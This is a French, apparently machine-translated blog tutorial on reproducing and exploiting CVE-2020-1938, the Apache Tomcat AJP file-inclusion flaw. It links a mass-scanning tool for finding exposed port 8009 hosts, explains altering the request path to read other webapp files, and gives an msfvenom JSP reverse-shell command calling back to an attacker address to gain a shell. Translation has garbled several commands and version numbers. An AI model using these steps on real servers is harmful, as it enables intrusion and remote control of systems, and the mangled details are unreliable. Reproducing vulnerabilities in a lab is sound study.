CVE-2020-1938 Apache Tomcat AJP vulnérabilités d'inclusion de fichiers

1. Affecte Version

  • Apache Tomcat 6
  • Apache Tomcat 7 <7.0.100
  • Apache Tomcat 8 <05/08/51
  • Apache Tomcat 9 <9.0.31

2. reproduction

2.1 Préparation de l'environnement

Sélectionnez une version du Tomcat affectée, nous sommes ici pour une version officielle 9.0.30 de Tomcat sur le moyeu Docker pour reproduire l'image

docker traction tomcat: 9,0 . 30 -jdk8-adoptopenjdk-hotspot

Après avoir exécuté le récipient dans le récipient dans le répertoire / usr / local / tomcat répertoire, copiez le contenu de webapps.dist dans le répertoire webapps

docker run - rm -p 8009 : 8009 -p 8080 : 8080 tomcat -d: 9.0 . 30 -jdk8-adoptopenjdk-hotspot

Que ce soit le port d'accès 8080, voir le Tomcat en cours d'exécution

2.2 Outils Préparation

Visitez le lien suivant ou vous trouver sur GitHub

https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner

2.3 Test simple

threading-find-port-8009.py utilisé pour trouver des ports ouverts 8009 nom de domaine ou IP, nous allons analyser le nom de domaine ou IP mis en ip.txt

Après threading-find-port-8009.py en cours d'exécution va générer 8009.txt, conservez-le dans ip.txt port ouvert 8009 nom de domaine / IP

python threading- trouver -port- 8009 .py

threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py grillagée 8009.txt en ligne avec url de failles, placé dans vul.txt au nom de domaine existant vul.txt est le nom de domaine contient la vulnérabilité.

python-threading CNVD- 2,02 mille - 10 487 -Tomcat-Ajp-lfi.py

3. Lecture transversale

Le script par défaut pour lire les fichiers dans le répertoire ROOT, si vous voulez lire d'autres fichiers dans le répertoire webapps, vous pouvez apporter des modifications simples au script

Ne peut pas franchir le répertoire de lecture / etc / passwd et d'autres fichiers, et inclure des fichiers ne peuvent être lus dans le répertoire webapps 

Modifier « / asdf » peut mettre en œuvre une lecture croisée. Par exemple, nous voulons lire test.txt dans le répertoire de test

_, data = t.perform_request ( ' / test / qsdf ' , attributs = [

Créé sous le répertoire webapps d'un test, mettre un fichier test.txt

Ce fichier peut alors être lu avec un script modifié

4. coquille de rebond

Si la vulnérabilité de téléchargement de fichiers du serveur existe en même temps, vous pouvez obtenir shell plus loin. Modifier le script Let de derrière « / asdf » plus « .jsp » à

_, data = t.perform_request ( ' /asdf.jsp ' , attributs = [

Génération Payload, dans lequel l'adresse de l'attaquant est 192.168.125.130

msfvenom -p java / jsp_shell_reverse_tcp LHOST = 192.168 . 125,130 LPORT = 4444 > shell.txt

Régler la charge utile, puis commencer à écouter

Après mis shell.txt sous le répertoire webapps ROOT, exécutez le script

Obtenez coquille

5. Recommandations de protection

http://blog.nsfocus.net/cve-2020-1938/

 

déclaration

Cet article est seulement pour l'auto-test et l'échange sécurisé d'apprentissage, et non pour l'exploitation illégale. Toutes les conséquences directes ou indirectes résultant de l'utilisation de cet article, la responsabilité de l'utilisateur lui-même.

 

références:

https://www.lstazl.com/tomcat%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab%e6%bc%8f%e6%b4%9ecnvd-2020- 1048 /

https://www.geek-by.xyz/2020/02/21/cve-2020-1938-apache-tomcat-ajp-wen-jian-bao-han-lou-dong/

Je suppose que tu aimes

Origine www.cnblogs.com/dogecheng/p/12604489.html
conseillé
Classement